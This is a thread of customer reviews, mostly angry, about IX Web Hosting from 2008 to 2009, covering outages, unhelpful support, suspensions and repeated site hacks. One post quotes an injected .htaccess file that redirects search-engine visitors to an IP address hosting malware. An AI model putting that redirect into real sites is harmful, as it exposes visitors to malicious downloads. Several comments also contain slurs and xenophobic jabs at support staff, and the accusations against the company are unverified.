These security routines will prove to be useful when you move to a hopefully more competent and secure web host. |
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| beyaz, 06th 2009f January, 2009 |
| have the same problem!!!! they are just after money instead of clearing their s**t! |
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| George W Bush, 05th 2009f January, 2009 |
| Don't waste your time with these people, they are just a bunch of incompetent retards. |
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| Sammy J, 05th 2009f January, 2009 |
| 4 days ago my 6 sites were injected with code, I spent 2 full days cleaning my sites, ix wanted to charge me $80 and hour to clean them, today all 6 sites are injected yet again.. I'm moving to another host, People, beware of IX they do not give a damn about your sites, all they want is your money. |
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| Anita, 03rd 2009f January, 2009 |
| Add me to the list of customers that have been affected by ix's .htaccess vunerability, and yes they are blaming me, the best part is, they are willing to fix this for me for $80 !! |
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| Roger no Kids, 02nd 2009f January, 2009 |
@ Roger Kids..
You TWAT!!..
People don't like IX because they HAVE tried them!!.. If you haven't tried them, how is a person suposed to know if they like them or not?..
All a person can expect, is what they are promised and what they pay for.. NO MATTER what the price is.
IX are RIP OFF'S they promise, take your money and accuse you for their incompetance. |
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| Roger Kids, 01st 2009f January, 2009 |
| Cmon` guys. If you don`t like IX why you choose it? Try to spin around for hosting which is better and cheaper. Let`s see what u`ll get |
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| Seve, 29th 2009f December, 2008 |
Ooohh alright, I'll GIVE them away!!
Still no takers?..
Don't blame ya!! |
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| Steve, 29th 2009f December, 2008 |
| Anyone want to buy my 2 buisness Accounts I have with IX ? I'll sell them for a good price.. IX is the leader in quality Web Hosting, and comes with top notch support.. especially if you speak Ukrainian.. C'mon be part of history, IX might not be around for much longer. |
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| Rich, 29th 2009f December, 2008 |
| IX is so full of shit, I can smell them fro here. These dickwads are clueless, they are a laughing stock. Anyone hosting their sites with these people need to seriously start looking for another host. IX is gonna get a hell of a lot worse before it gets better.. thats if they survive the loss of so many customers. |
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| James, 29th 2009f December, 2008 |
| 6 weeks ago I purchased an account with ix webhosting, in this 6 week periode my site has been cleaned and re uploaded 14 times!! every other day it gets injected with a .htaccess file, and gets redirected. I do not have any scripts for my site an no .htaccess file. ix has constantly blamed me for this. Luckily I only have one site, I'm counting my loss and moving away. |
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| Bart de Vries, 29th 2009f December, 2008 |
| A complete bunch of ignorent stuck up turds!!.. couldn't run a stopwatch, let alone a hosting company. |
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| Oz, 29th 2009f December, 2008 |
IXWEBHOSTING is bent!
I mean all my domains had a .htaccess file which redirected all search engine traffic to another website (located at starnet.md) to download malacious files (virus).
This is the contents of the .htaccess file:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]
It's rewriting code to direct all users from Search engines away from my websites.
Good bye IX! |
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| Juloep, 28th 2008f December, 2008 |
I just read this website and here you can see that ix people are thiefes
http://ixwebhostwarning.wordpress.com/ |
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| Juloep, 28th 2008f December, 2008 |
| I have holiday for 6 days, and when I get home my website has gone, instead a page tells everyone my web site is terminated.. I call ix and they tell me my site was phishing site.. I tell them that it is a mistake, my website is about hotel in Tunisia.. I ask for them to please put my website back because people think I am now a thief but they say i must buy a new account. these people are VERY bad people, they make me look like thief but they are thief!! |
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| Eddie, 28th 2008f December, 2008 |
www.psedog.com
Another website screwed by IX. Luckily I was nearing the end of my contract when they decided to suspend my account for "Phishing" All the suspected folders had permissions of "httpd". A week prior to IX shutting my site down (Suspended). They had informed me that my site had been "hacked" and had a virus in it. They claimed to have fixed it. Only to shut down my site shortly after. Look at some of the recent comments under mine and you will see that I'm not the only one. IXWebHosting is crap. I only dealt with it for as long as I did because I had already paid. Unfortunately I didn't have the site as a whole backed up. Now I have to go and rebuild it again from multiple sources.
They shut my site down 2 other times before. They claimed TOS for copyright infringement. The infringing products were my own pictures from my car club in Souther California. Apparently I'm not allowed to have a nice car and know others that do as well. (G35Driver) |
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| John M, 26th 2008f December, 2008 |
| I am so pissed off with ixwebhosting, they know they have an issue with their servers, but they still blame the customers. I have 2 static sites, and they have been injected nad the files permission changed to httpd. When I phoned support I was blamed for in-secure folder permissions, when I told them I did not have any folders, they told me to purchase an anti virus software, and scan my pc!! I told them My McAfee AV is 2 months old and up to date, and scans every Tuesday and Friday.. Then they told me to TRY ANOTHER Anti Virus software Keep away from these idiots |
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| Tom, 25th 2008f December, 2008 |
| Today without warning ix web shutdown my account, because I ran a script on it, I have a photography site for newly weds, I know nothing of any script. They are rude and are blaming me for their problems. How can I get my database and all my files? Can I sue them? |
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| Jacque, 25th 2008f December, 2008 |
Once they were a very good company, but now they are the worst, and the worst just keeps getting worse.
Avoid ix web hosting until they get their act together. more info http://ixwebhostwarning.wordpress.com/ |
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| Babs, 25th 2008f December, 2008 |
What a nightmare!! Talk about crooks, it is beyond me that IX is still in buisness.
I would not host my site with them for FREE
Been there.. done it... got the stress |
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| 2 matt, 25th 2008f December, 2008 |
Hi there,
go on www.dickgreasley.com to check how fast the server is.
On bottom of the website is link to EBH. |
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| Bonnie, 23rd 2008f December, 2008 |
| I have been with ixwebhosting for about two years now (I transferred from iPowerweb). I have no complaints about ixwebhosting, in fact, I am very pleased with their service. Everything has gone very smoothly, no down time and excellent customer service - there is a place within the control panel where you can create a "help ticket," which is always answered within a day, usually within a couple hours and there's no getting bounced around on the phone from one person to another. I have 5 websites at ixwebhosting, and I am happy, content, and very satisfied with their company. |
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| matt, 18th 2008f December, 2008 |
| ixwebhosting.com server has been down for now 3 hours. My company cannot retreive important data. I think this company is so damn unprofessional. If anyone has any other suggestions for other good webhosting companies, please do let me know! |
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| cashzzz, 18th 2008f December, 2008 |
| Server has been down now for over 2 hours....ixwebhosting keeps telling us to wait 15-30 more minutes... we cannot keep waiting like this. They said the server is under maintenance, but the server should not be down like this for more than 2 hours.. not sure how much longer... |
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| cashzzz, 18th 2008f December, 2008 |
| Server is down as of now. for over 1 hour 30 minutes... we are told the server will be up another 30 minutes but that was 30 minutes ago. |
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| Chris, 17th 2008f December, 2008 |
It was a nightmare dealing with these horrendous people at IX Webhosting.
- For the seven months my site was hosted there, there were a lot of slow downs, database cut-offs and data lost, and they never provide any compensation or explanation of why that happened
- IX reserves the right to cut off your website at anytime whenever they feel like to. At first they would not tell you they are going to cut you off, they just asked you to accept their TOS terms of service. Once you did that they cut you off immediately.
- Worst of all, they do not allow user to download their own website or database once they suspended your account. If you are not prepared you will be totally screwed. I have never seen hosting company not providing user their database when they move out of the host.
- Technical support is horrendous, either the person there just try to play dumb or are complete idiots. They do not listen to your words, they just repeat themselves over and over again as if they are merely answering machines.
- Make sure you read every single word in their terms of service, there are a lot of unfair terms to the user, make sure you are alright with every single term in there before you sign up. These guys sure know how to make a fool of you by playing with the terms.
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| they are bad, 16th 2008f December, 2008 |
Koima
They are pretty bad , but have you checked out IPower.
For years of consistant appalling service, i doubt you'd get any worse - anywhere .
Why nearly all of the top 10 listed here are still in business is beyond me - most (not all) of them are not worth counting anywhere in the top 1000!
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| Koima, 12th 2008f December, 2008 |
| WOW, I never see so many bad comments I think I will never use ixwebhosting |
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| fuckIX, 12th 2008f December, 2008 |
ixwebhosting can kiss my arse. 2 years of these pathetic people is enough.
IX does not give a damn shit about customers, they take your money and screw you
BURN IX BURN!!! |
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| David Lee, 11th 2008f December, 2008 |
My htaccess file was replaced and my website was down yestoday.
It seems like nothing they gonna do to make their hosting service to be the one it should be.
I have to upload htaccess every 4 days. ixwebhosting is a shit!
I want my money back! |
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| Sandra, 11th 2008f December, 2008 |
I am so glad that I only have 2 web sites with these crooks. I wish I had found this site before. I purchased my account 7 weeks ago, and since then I have had nothing but trouble, in those 7 weeks I have had to upload backups 11 times!!
I tried to use their support 3 times, but each time all they said was I needed to create a ticket..
Bottom line, AVOID IX web hosting |
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| Harry, 09th 2008f December, 2008 |
IX wehosting is a 100% rip off, I cannot understand that they are still allowed to sell hosting. My sites are hacked on a weekly basis. Support are a bunch of ignorant retards that belong in a Zoo cleaning up the animal shit!!
IX web hosting, Please do yourself a favor, and pull the plug!! You are without doubt a disgrace to the hosting world. |
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| J C, 01st 2008f December, 2008 |
Our websites has been Hacked again
We were connected with IXWebHosting
Now we have enough and cancelled our multiple accounts with them |
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| KB, 30th 2008f November, 2008 |
I'm having the same issues... files that were owned by my account became owned by httpd and all had virus injected into them.
I have a shell script that runs a ls -l every 6 hours and compared the results from the last run 6 hours previous and it caught a mountain of changes on the morning of Nov 27th at 8:20am (their server time).
Submitted a ticket and they said my site was internally hacked. Tried to reply to the ticket and the reply buttons aren't even working.
Submitted a new ticket to reply to the old ticket to ask how file ownerships can change like that. Awaiting a reply. |
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| empusa, 21st 2008f November, 2008 |
When I signed up two years ago, they seemed pretty good. However, over the last tow years their service has got worse and worse. In the last week before I transferred all of my sites and my clients sites to another host, all of my sites went down for over 24 hours on three separate occasions. Every time I entered a support ticket, it took them over 10 hours to reply, only to ask for 'further information'. They claim to be in the USA, but every reply is from an Eastern European name. Their so called 'live support' is a joke, each reply takes over 15 minutes and they always end up saying that I should submit a support ticket.
My sites were hacked constantly. Other users on the same server could access my files and folders even despite being chmod 755.
You get what you pay for. I've just moved to A2hosting. I'll have to pay twice as much but the service is infinitely better. |
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| Yunus Member, 19th 2008f November, 2008 |
| Shit Service. Dont ever use them had a lot of problem they are stupids and idots and bloody liars |
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| de P, 14th 2008f November, 2008 |
Since May of 2008 24 of my sites ( 3 buisness Accounts) have been mass injected, 8 sites have had the .htaccess file injected thus redirecting the sites, and 5 sites have been used a Phishing sites for among others "Wells Fargo" and Washington Mutual".
I am not going to advise anyone if they should or should not use IX webhosting, just google "IX webhosting Hacked" and make up your own mind.
There is not a single server that is 100% safe / secure, That IX was hacked, is no big deal, it can happen to anyone, but being hacked MORE than 7 time within a year, and having a support team that are COMPLETELY useless, and for months have TRIED to blame customers for 777 permissions, I had one account with ONLY 5 html sites , NO folders, NO scripts, NO permission, and they ALL got injected. |
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| Christos , 12th 2008f November, 2008 |
| I regret the time I signed with Ixwebhosting. The site is on a regular basis down... and most of the times the initial contact is VERY VERY slow... and you receive connection interruptions all the time..... I am looking for another provider ASAP. What a waste of time and money |
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| sony, 01st 2008f November, 2008 |
They make me crazyyyyyyyyyyy, the server is more down as up, no matter what day time I check my sites, I see just the error network timed out,The operation timed out when attempting to contact ....
The requested site did not respond to a connection request and the browser has stopped waiting for a reply. The only positive on ixwebhosting is, they are cheap, low price = low quality, so definitely not recomended for commercial/business websites, your business will not grow with ixwebhosting. |
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| Bob, 28th 2008f October, 2008 |
| Wow - wish I'd read this first. I signed up and was soooo excited by their unlimited everything and their "DotNetNuke Expertise". Wrong. They have no tools for DNN (can't backup & restore your DB via SQL Server Mgr. as I was told when I called BEFORE signing up) and their techs are CLUELESS about DNN -- actually worse, some seem to know it exists and others don't. The biggest reason to avoid them is I had an open 'ticket' for over 12 hours. I've read where people say to use 'chat' and they're right -- you get a quick response from someone (some person who I'm sure is in Ohio or somewhere in the USA but whose name is achmed zahermche or some other "wanna buy a vowel" name)l but I would rather type an explanation of a problem clearly in an email or text box than try to type in real-time with someone to whom English is a 2nd or 3rd language. If you really want to know how bad ixwebhosting is, I came over from WebHost4Life -- the gold standard for BAD hosting and support and these guys are as bad or worse (for my needs). Stay away. |
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| David, 23rd 2008f October, 2008 |
I had trouble accessing my site at least twice a week with IX. The SPAM was a serious problem. I canceled my account 6 months into the 24 months I had paid for. They refunded less than 25% of my money claiming that that their terms required that because I canceled, even for poor service, I now must pay for set-up fees and domain name registration that are FREE when you sign up. Horrible, rude, employees. MANY complaints to the BBB.
The worst thing, though, was that they disabled my account and I had to get the Attorney General for the State of Kentucky to order them to return control of my domain name to me. |
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| support, 21st 2008f October, 2008 |
| try www.hostmysite.com |
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| Shrink, 21st 2008f October, 2008 |
| They re-activated my account. I am backing up files now. I've got one more strike. If I'm hacked again, I'm gone. I'm gone anyway. Looking for another host. |
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| Shrink, 21st 2008f October, 2008 |
| I have not had many problems with IXwebhosting until yesterday. I too was hit with TOS violations because someone hacked my site and uploaded phishing files. IX will blame you for the problem. Then, without warning, they suspend my account with no access to the files for the 8 domains that I have! |
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| Enrique Gutierrez, 21st 2008f October, 2008 |
HORRIBLE!
I was with IX Webhosting for 5 years+ and today they shut my account down due to phishing files that were placed on one of my domains; after they blamed me for the files, that I didn't place, they proceeded to tell me that they can't give me access to my files and data.
They're about 20 hours away from being served legal papers for damages and theft, in addition to getting a boot crammed up their asses for being one of the worst web hosting experiences I've ever had to deal with in my 9 years of web dev. |
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| bigboytoyauction.com, 20th 2008f September, 2008 |
Yes still with IX right now all of the mysql servers are down. And if they didn't do back ups I am kind of screwed as my last back up is on a crashed HD, i can pull it but its a pain. Here is a transcript of the chat
Kirill Skripka: Hello, my name is Kirill. How can I help you today?
you: all of my sites are down again, www.ckonline.net , www.bigboytoyauction.com , and all of the others too.
Kirill Skripka: hold on please, I'll check
Kirill Skripka: our Mysql server is down. Our administrators are fixing it now
Kirill Skripka: it will be available again as fast as possible
Kirill Skripka: we are sorry
you: I dont want to be a pain but stuff like this is happening more often now
you: any particular reason why
you: Just saying that down time has increased since the move, never had an issue with down time until lately. I hope that the issues are resolved.
you: obviously not going to get a response
you: have a good day I will be calling IX on monday |
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| Jason, 19th 2008f September, 2008 |
IXWebHosting were always cheap by shady, but recently their customer service has taken a terrible turn for the worse. They popped me with several TOS violations. The first was for using 30 GB of storage of their "unlimited" storage. They COMPLETELY LIE about their storage promise. The other was a supposed Spam complaint that one of their managers agreed was not a valid complaint, but they are still charging me with a SECOND TOS violation. They told me if I get a THIRD TOS violation they will terminate my account without notice, meaning I will loose all my email, etc. Talking to their support people is like talking to high school PE teachers from Siberia. It's just completely pointless.
AVOID IXWEBHOSTING at all costs!!! They have served their purpose, which is to drive the cost of hosting down, so now go with one of the better competitors. These guys are the worst!
I moved to HostMonster who verified, in understandable, clear English, that I can use all 1.5 TB of their promised storage (I won't use nearly that much, but it's good to know). |
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| Sam, 06th 2008f September, 2008 |
| This hosting Company is very slow, so many problems stay away |
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| elawcase@gmail.com, 03rd 2008f September, 2008 |
| I am not sure why this website places Ixwebhosting rating so high when just about NO ONE is happy with them including myself. I have sent a few logs you can read below. These are real examples. Also their server is down quite often so anyone who can recommend a better hosting company that offers hosting unlimited domain names, pls let me know at elawcase@gmail.com |
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| elawcase@gmail.com, 03rd 2008f September, 2008 |
Zeyad Abed: Sorry but from my side it's ok
you: well, i'll keep monitoring it.. but thank you for your help
you: if possible, if you can try to ask your tech people to monitor it...
you: just a moment ago, the site didn't come up
Zeyad Abed: You are welocme
Zeyad Abed: Is there anything else I can assist you with?
you: that's all, pls just ask the tech people to check the server.. it slowing down again
you: oh it's okay now
you: it's kind of unstable recently
Zeyad Abed: Sorry it's from your connection
you: not my connection, third party monitors
you: i always check third party connections/monitors to make sure it is not my connection
you: if you can pls check alertra.com and check every few minutes.. you'll see how much the server is varying in performance
you: the worst thing a hosting company can do is blame the client's connection or website .. it' just avoids the issue
you: the server now is slowing
Zeyad Abed: Sorry it's ok
you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that
Zeyad Abed: Sorry im a technincal
you: what do you mean?
Zeyad Abed: I mean it's ok from our side
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| elawcase@gmail.com, 03rd 2008f September, 2008 |
you: the server now is slowing
Zeyad Abed: Sorry it's ok
you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that
Zeyad Abed: Sorry im a technincal
you: what do you mean?
Zeyad Abed: I mean it's ok from our side
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| elawcase, 03rd 2008f September, 2008 |
Here is an example of the conversation I had with ixwebshosting when the server was really slow and stalling:
you: i need to check to make sure that the server is performing okay
Zeyad Abed: Hold on please let me check it
you: thanks
Zeyad Abed: You are welcome
you: just let me know here.. waiting..
Zeyad Abed: Ok
you: get the logs yet?
you: or you can also check alertra.com from your end...
Zeyad Abed: Just am inute please
you: ok
Zeyad Abed: alertra.com. 124 IN A 205.162.234.98
Zeyad Abed: ;; Query time: 0 msec
Zeyad Abed: flowers.com.hk. 85513 IN A 98.130.191.57
Zeyad Abed: ;; Query time: 0 msec
you: the time varies i'm checking now again
you: it's not 0 msec
Zeyad Abed: Sorry but from my side it's ok
you: well, i'll keep monitoring it.. but thank you for your help
you: if possible, if you can try to ask your tech people to monitor it...
you: just a moment ago, the site didn't come up
Zeyad Abed: You are welocme
Zeyad Abed: Is there anything else I can assist you with?
you: that's all, pls just ask the tech people to check the server.. it slowing down again
you: oh it's okay now
you: it's kind of unstable recently
Zeyad Abed: Sorry it's from your connection
you: not my connection, third party monitors
you: i always check third party connections/monitors to make sure it is not my connection
you: if you can pls check alertra.com and check every few minutes.. you'll see how much the server is varying in performance
you: the worst thing a hosting company can do is blame the client's connection or website .. it' just avoids the issue
you: the server now is slowing
Zeyad Abed: Sorry it's ok
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| Jebac, 30th 2008f August, 2008 |
| CRAP, CRAP, CRAP. Avoid them at ALL cost. I was stupid not to google for review before signing up. |
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| Jim, 30th 2008f August, 2008 |
| Good service until a few weeks ago and since then it can't get much worse. Two of my domains (I have 5) have been moved and the others will soon follow. |
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| Jeff, 18th 2008f August, 2008 |
| I had been a customer of IX Web Hosting for over 4 years. I have watched their service and support deteriorate significantly especially the past year. My web sites were routinely down and IX Web Hosting missed their guaranteed up-time metrics nearly every month. When I complained they would credit my account for an additional month. Finally after my sites were down for 10 consecutive days I decided a change was in order. I moved my sites and canceled my IX Web Hosting account. Rather than getting the money back I was told I would get a fraction of the refund I was owed. The customer service and billing department argued that the credits I received for them missing their stated guarantee were basically worthless from a monetary standpoint and that they continued to incur charges. Not only did I have to endure countless outages and deal with incompetent technical support leading to additional downtime and outages but I would pay for this "privilege" receiving a minimum refund. I've opened a complaint with the Better Business Bureau about their business tactics and I recommend to everyone to say as far away from IX Web Hosting as possible. If you already have an account there I suggest getting out while you can before you find your sites and your money drained. |
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| Useless Uptime, 08th 2008f August, 2008 |
I do not recommend them at all. STAY AWAY.
Their servers are continually down, and suppport is non existant, if you try to resolve things with them |
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| no need for detail, 03rd 2008f August, 2008 |
You've said it all.
Thank God my account is up for renewal in 30 days.
I am looking elsewhere.
CC2k will post its new home when we find one and are sure it will not bring heartache to others.
Bye Bye IX, you had you chances, way too many of them. |
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| chris, 02nd 2008f August, 2008 |
| Yes, it was working for about 10 minutes, i was able to get an order ... then it's down again. The guy who tripped over the cord maybe also spilled coffee over the electrical outlet. God! |
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| bigboytoyauction.com, 02nd 2008f August, 2008 |
| DANG IT !!!! It was working and i start uploading and BAM!! MFR its down again |
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| Chris, 02nd 2008f August, 2008 |
| Haha.. funny. I actually tried to click on Ixwebhosting.com google ads and the site doesn't load. This is how our customers are feeling when they click on our ads. This also isn't good for internet rankings I suppose. My server is down at the moment and i'm just sitting here twittling my thumbs. |
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| kenny, 02nd 2008f August, 2008 |
| Actually I couldnt get on their website but you can call them at 1800 385 0450 or 1 614 534 1961. I dont understand how their who network of servers are down at the same time. Did someone trip over the power cord? Well, i have to say at least they answered my call. This is the 6th time the server was down in the past week. I have three website monitors running at the same time which alert me each time the server is down. This doesn't include server stalling problems. Im starting to regret I am hosting with ixwebhosting. If this continues I will for certain move to another company. |
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| kenny, 02nd 2008f August, 2008 |
Yes, the server is down. I contacted Ixwebhosting just now and they said it will be fixed in 30 minutes. I also used alertra to check ixwebhosting website and they are down as well. Just keep clicking on their google ads so they know how it feels when our websites are down and people click on ours. Here is the logs for Ixwebhosting.com website itself.
Timestamp Location Result Size Time
2008-08-02 01:49:41 EDT Shanghai CHN OK 20.3 16.95
2008-08-02 01:49:41 EDT Chicago USA OK 20.3 17.05
2008-08-02 01:49:41 EDT Hong Kong CHN OK 20.3 16.05
2008-08-02 01:49:41 EDT Oklahoma City USA OK 20.3 14.14
2008-08-02 01:49:41 EDT Orlando USA OK 20.3 13.99
2008-08-02 01:49:41 EDT London GBR OK 20.3 10.63
2008-08-02 01:49:41 EDT Las Vegas USA OK 20.3 9.98
2008-08-02 01:49:41 EDT Sydney AUS OK 20.3 4.84
2008-08-02 01:49:09 EDT Atlanta USA Error N/A 30.58
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| bigboytoyaction.com, 02nd 2008f August, 2008 |
| Dont get me wrong, I have used them for quite a while and never had an issue but all of a sudden its not working. I think its back up now guys try it. This means it was only down for about 5 minutes. |
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| bigboytoyauction.com, 02nd 2008f August, 2008 |
| My server is down to this isnt normal I was in the middle of uploading something. |
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| Kenny, 02nd 2008f August, 2008 |
| The problem I found is that when the server is down with Ixwebhosting they will deny it is down. Even with proof logs of 3rd party monitoring companies such as alertra and internetseers. My server is down right now as well. I need help but cannot find anyone at ixwebhosting. |
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| Chris, 02nd 2008f August, 2008 |
| hello, yes, my server is down with ixwebhosting too. I dont think they know how to run a company. Something is wrong. The server is down more than once a week! I also need suggestions on better servers. This isn't cutting it. |
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| Jack, 02nd 2008f August, 2008 |
| Any good suggestions on servers. Ixwebhosting.com server is down at this moment and I cannot get to contact anyone at the company. |
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| Patrick, 28th 2008f July, 2008 |
| ixwebhosting.com is basically bottom of the barrel hosting. I can't imagine anything worse. Their server went down again Saturday and now my entire wiki website no longer works because of a corrupted database. Do not use this host because you WILL have problems. Lots of them. |
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| Pascal, 28th 2008f July, 2008 |
| I have to admit, IXwebhosting is not that good. My site has been down 4 times in the past year. sometimes it takes 12-24 hours to get things back up and running. The email servers have been slow lately. Right now, my FTP service does not work; I can't login either. I've started looking for another host because reliability is my main concern. |
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| Alex Ho, 28th 2008f July, 2008 |
Ok, GUYS, I'm so pissed with this ixwebhosting sh*t. 2 weeks ago their MySQL server was down and they didn't save a back up for me even they could be able to back up some other databases which made me so pissed coz I have a forum of 12,000 members for 5 years. (Fortunately I got my own back up, but it's 6 months old!) Yes, I called them, chatted live, emailed, ticketed, all sh*t, but all I got was "we are wrking on it". Funny, huh?
They have cheap plans, I agree, the reason I chose them cause they had cheap plans, and I tested their website speed with a tool, and their site speed was light speed. However, after using their hosting for 2 years, now their hosting service turned out too bad now. My sites have been on and off, regardless the daytime or nighttime. Just imagine you staying home on Saturday night and Sunday night coding your site instead of going out watch movies with your cute girlfriend, and suddenly the site&host&ftp... everything shut down at 1am when you are so stuck with the code, that's b*** sh*t huh?
GUYS, PLEASE THINK OVER BEFORE BUYING THIS HOSTING SERVICE: IXWEBHOSTING.COM <= Cheap doesn't mean good!
I'm on my way finding another hosting, hix
Anyway, read over this comment box to see how BAD this hosting service is! I saw about 95% NEGATIVE FEEDBACK! |
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| cashzzz@hotmail.com, 27th 2008f July, 2008 |
| The server is down right now receiving the following error: HTTP/1.1 500 Server Error. The reply from the tech support said they cannot help and we need to send a ticket to the center. All sites are down. It's time to move servers. |
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| kads, 22nd 2008f July, 2008 |
| i am moving webhost. my site is down at the moment, their support doesnt even speak english, my emails dont work. their site doesn't work. + when my site does load, it loads at 2 miles per century. im moving to 5quidhost.co.uk which has awesome reviews. |
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| cashzzz@hotmail.com, 20th 2008f July, 2008 |
| I think we have to throw in the towel soon. We have given ixwebhosting a serious try and in the past 2 months, the web server has been down more than 8-10 times. The email server also had problems as well and does not send out emails. We have also contacted the tech support online, which is good they have this feature, but they never know how to fix the problem. They will ask you to send an email. But they wont fix it until hours up to 5 days. We are looking for better hosting and would like your suggestions. Ixwebhosting is not good enough at this point. Server has too many problems and downtime is serious. |
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| elawcase@gmail.com, 20th 2008f July, 2008 |
| Ixwebhosting.com server ns13, and ns14 is currently down. We have contacted ixwebhosting support and they do not how to fix the problem. The server has been down for 3 days intermittently. The server is down now. |
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| Steve, 19th 2008f July, 2008 |
The uptime is brilliant. My site has only been down twice for about 5 minutes. But I do not recommend this host. The MySQL server I am on has a lot of problems. Some guy I know keylogged me and got into my forums and deleted everything. The backups I uploaded wouldn't work, so I made a support ticket. It took them TWO WEEKS to reply. They said they had a backup from the day before it was hacked. I asked them to restore it. A week later they replied again and said they didn't have the backup. So, I had to completely start my forum over again. Next month I will be moving host, and I asked them to email me a backup of my website. I have been waiting 3 days so far and still no reply from them.
THE SUPPORT SUCKS. Do not host with these guys. It is a waste of money and a waste of time. Plus they have really bad servers. |
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| abimbola, 15th 2008f July, 2008 |
| In the name of almighty God, do not host with ixwebhosting!You will have the greatest regrets in your life. All the websites I have been developing for years disappeared and ixwebhosting said that was due to massive hard storage failure and that the data are irrecoverable.Please,Please,Please do not host with this company as it is not a company but a form of internet dupe! |
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| good by_ix, 12th 2008f July, 2008 |
ix webhosting service
# Stop service ticketing technical support.
# Stop service database.
# Problems are endless.
# Company on the precipice, waiting to fall down.
# I advise you: Make your files and transferred into the computer. |
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| kads, 09th 2008f July, 2008 |
| have opened a ticket for 2 days on ix, and it hasnt been responded to. live chat is also unhelpful. my emails are down and i can't access them. this is the first problem i've had. |
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| cashzzz, 03rd 2008f July, 2008 |
| Okay, it has been now 4-5 days that the email server does not work with ixwebhosting. They keep saying please wait 24 hours and the issue will be resolved. But so far their email webserver is not working or sending emails out. I think I may need to throw in the towel soon. Ixwebhosting does not know how to run their web servers or maintain it. If they do not fix the email server 2 more days, I have to urgently move my server.. anyone with good suggestions of a company who is reliable, know how to maintain the server, doesn't overload the servers, has multi domain hosting for ASP classic pages, and uses HSphere, please let me know. Thank you. cashzzz@hotmail.com |
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| cashzzz, 02nd 2008f July, 2008 |
| I'm quite frustrated because the email server at ixwebhosting is not working properly . Not sending out emails at all. This is the second day and the issue is not resolved yet. Really frustrating. If anyone has suggestions of other hosting that uses hsphere control panel and unlimited domain hosting, pls let me know. cashzzz@hotmail.com |
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| ixhater, 26th 2008f June, 2008 |
| Run for the hills if you are thinking of signing up with ix. The adage, "you get what you pay for" is most appropriate. Unlimited web space? HAH! Suspended my account after it hit 60 GB without any notice. |
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| rh, 22nd 2008f June, 2008 |
| And yes they suspended me once too, after I called tech support, they said I was violating the TOS. I was not as I was trying to get my Wordpress installed. I called them and after I cussed them out on the phone, I had to get really mad until they fixed things. If you use IX you will be sorry. I hate to say that but, I dont want others to experience the grief I have. Yes they are cheap, but you get what you pay for and I would rather pay more and get something reliable and something I can count on. You simply cannot count for IX webhosting for hosting a simple wordpress site. Page cannot display happens all the time. |
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| rh, 22nd 2008f June, 2008 |
| I have had ixwebhosting since 9/2007, I do not recommend them at all. STAY AWAY. You will be sorry if you choose them because, half the time the pages on my simple WORDPRESS blogs do not display. The tech support chat is totally useless. I am in the process of changing hosting companies as I type this. The slow response has been a damage to my reputation. DO NOT USE them, they are total hype. I am glad I didnt rely on them more, I have several domains I am developing. |
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| cariani, 20th 2008f June, 2008 |
DONT EVER HOST WITH THEM!!! This company is a fraudelent Company!
I had "Unlimited Pro" account with them after 6 months (after the number of my visitors growed). THEY DID DIRECTLY AND WIHTOUT ANY WARNINGS SUPSPEND MY ACCOUNT!! If you have more than 50 vistiors a day, IXWEBHOSTING WILL SUSPEND YOU and the most bad thing is- in the beginning, you will read "ACCOUNT SUPSENDED" and they put their own material ADVERTISING WITH SEX-LINKS ON YOUR WEBSITE!!!
DONT BELIVE WHAT THEY SAY!!! DONT BELIVE ON MONEY BACK GUARANTEE- YOU WILL NEVER SEE YOU MONEY AGAIN!!
regards
For more Information contct me at little_ding_at@yahoo.de
dzemaili |
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| George L., 14th 2008f June, 2008 |
| Go to M6.net - the best and cheapest windows hosting in the world - I use it 8 month and very glad!!! |
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| lee, 13th 2008f June, 2008 |
I get the following message each time I report the problem to their livechat:
Sorry, unfortunately I can't resolve this issue, please create a ticket to our administrators and they will help to solve your problem. You can create a ticket from your control panel -> 24\7 help desk - ticket center.
And when I create a ticket, I would get a reply from them that should I get anymore error, please contact our live chat immediately. And when I contact the livechat, they would tell me the problem cannot be resolved by livechat, please create a ticket. Good grief! this fraudulent company should be investigated. |
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| lee, 13th 2008f June, 2008 |
| ixwebhosting.com is the worst hosting company exist. I have a very simple wordpress blog, and almost 90% of the time I cannot get to my web site. Each time I try to access my site, I get the 'error establishing database connection'. When I asked them, they said that such problem is difficult to resolve because it's a shared mysql server, it is possible that other users are abusing their server and it will take them time to find the users who abuse their servers and then they would mark my case as resolved. There tech support is horrible. The livechat is useless and waste of time. I have already send in my request to cancel my account. |
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| GeeJ, 12th 2008f June, 2008 |
Value for money. Great for starting out but they have a few weaknesses...
The email system they use is SLOWWW and un-reliable
You need to resolve (= be patient and wait) your own problems.
Great for a non- critical site with not too much traffic.
For a mission critical site, you will need to fork out more $$$s |
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| cashzzz, 12th 2008f June, 2008 |
Okay, just letting everyone know that the server is down again. This is really way too much. I think it's time to move away from ixwebhosting servers. Not reliable. Timestamp Location Result Size Time
2008-06-12 07:52:00 EDT Sydney AUS Error N/A 30.00
2008-06-12 07:52:00 EDT Hong Kong CHN Error N/A 30.00
2008-06-12 07:52:00 EDT Frankfurt DEU Error N/A 30.02
2008-06-12 07:52:00 EDT London GBR Error N/A 30.01
2008-06-12 07:52:00 EDT Oklahoma City USA Error N/A 30.00
2008-06-12 07:52:00 EDT Las Vegas USA Error N/A 30.00
2008-06-12 07:52:00 EDT Chicago USA Error N/A 30.00
2008-06-12 07:52:00 EDT Shanghai CHN Error N/A 30.15
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| cashzzz, 12th 2008f June, 2008 |
finally the site is running but is slow.
2008-06-12 05:24:00 EDT Hong Kong CHN OK 76.0 4.65
2008-06-12 05:24:00 EDT Sydney AUS OK 76.0 3.62
2008-06-12 05:24:00 EDT Frankfurt DEU OK 76.1 3.20
2008-06-12 05:24:00 EDT London GBR OK 76.1 1.06
2008-06-12 05:24:00 EDT Las Vegas USA OK 76.1 1.36
2008-06-12 05:24:00 EDT Chicago USA OK 76.1 0.66
2008-06-12 05:23:27 EDT Sydney AUS Error N/A 31.47
